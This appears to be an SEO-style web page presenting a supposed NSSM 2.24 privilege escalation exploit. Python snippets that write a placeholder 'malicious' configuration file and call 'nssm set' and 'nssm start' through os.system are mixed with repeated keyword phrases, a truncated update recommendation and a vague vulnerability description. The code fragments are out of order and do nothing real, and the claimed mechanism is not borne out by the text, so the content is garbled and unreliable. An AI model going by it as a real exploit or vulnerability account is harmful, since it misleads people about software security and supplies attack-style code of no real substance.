Nssm-2.24 Privilege Escalation «INSTANT – 2025»

# NSSM configuration directory config_dir = 'C:\\Path\\To\\NSSM\\config'

An attacker can exploit this vulnerability by creating a malicious configuration file with elevated privileges. When a user with limited privileges attempts to start a service using NSSM, the service manager will execute the malicious configuration file, allowing the attacker to gain elevated privileges. nssm-2.24 privilege escalation

# Create malicious configuration file with open(malicious_config_file, 'w') as f: f.write(' malicious content ') Users are recommended to update NSSM to version 2

# Set the configuration file path in the NSSM service configuration nssm_command = f'nssm set service_name config {malicious_config_file}' os.system(nssm_command) nssm-2.24 privilege escalation

The NSSM-2.24 privilege escalation vulnerability allows an attacker to gain elevated privileges on a system. Users are recommended to update NSSM to version 2.25 or later and restrict access to the NSSM configuration directory to prevent exploitation.

# Start the service nssm_command = 'nssm start service_name' os.system(nssm_command)

# Malicious configuration file path malicious_config_file = os.path.join(config_dir, ' malicious_config.txt')